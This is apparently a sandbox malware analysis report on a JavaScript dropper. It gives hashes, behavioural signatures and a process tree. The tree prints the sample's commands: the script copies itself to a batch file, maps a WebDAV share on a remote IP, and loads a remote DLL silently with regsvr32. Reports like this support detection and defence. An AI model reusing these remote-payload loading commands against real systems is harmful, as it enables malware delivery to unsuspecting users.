Analysis
-
max time kernel
148s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
10/07/2024, 01:17
Static task
static1
Behavioral task
behavioral1
Sample
2334022725135531801.js
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
2334022725135531801.js
Resource
win10v2004-20240709-en
General
-
Target
2334022725135531801.js
-
Size
5KB
-
MD5
f5bfe5d8e4a28572c1a8f113287549b7
-
SHA1
daea905f5817ba1cc7742fbb7952fb7801f741a6
-
SHA256
63149102d2ecdf637b0a009e1f007f127369cb7462e5ee0b6c11ae9bcdb27651
-
SHA512
640a62d1ed117c38d192d3ee917c417d81a1ef093be405fcc02dcc88a37383951a2206191eb120fbe9f251a4810b185a67dd50893c2b0573d7590dab16a55837
-
SSDEEP
96:6PUKgouyC68P/A7r/AV2b9FaqcWW6DeXyn8rmrHl+3rwrio/kG:ScyYP/K/NFD7oXycmI3rYX/kG
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation wscript.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 5064 wrote to memory of 4264 5064 wscript.exe 82 PID 5064 wrote to memory of 4264 5064 wscript.exe 82 PID 4264 wrote to memory of 3064 4264 cmd.exe 85 PID 4264 wrote to memory of 3064 4264 cmd.exe 85 PID 4264 wrote to memory of 940 4264 cmd.exe 86 PID 4264 wrote to memory of 940 4264 cmd.exe 86
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\2334022725135531801.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5064 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2334022725135531801.js" "C:\Users\Admin\\aceiry.bat" && "C:\Users\Admin\\aceiry.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:4264 -
C:\Windows\system32\net.exenet use \\45.9.74.13@8888\DavWWWRoot\3⤵PID:3064
-
-
C:\Windows\system32\regsvr32.exeregsvr32 /s \\45.9.74.13@8888\DavWWWRoot\31.dll3⤵PID:940
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5KB
MD5f5bfe5d8e4a28572c1a8f113287549b7
SHA1daea905f5817ba1cc7742fbb7952fb7801f741a6
SHA25663149102d2ecdf637b0a009e1f007f127369cb7462e5ee0b6c11ae9bcdb27651
SHA512640a62d1ed117c38d192d3ee917c417d81a1ef093be405fcc02dcc88a37383951a2206191eb120fbe9f251a4810b185a67dd50893c2b0573d7590dab16a55837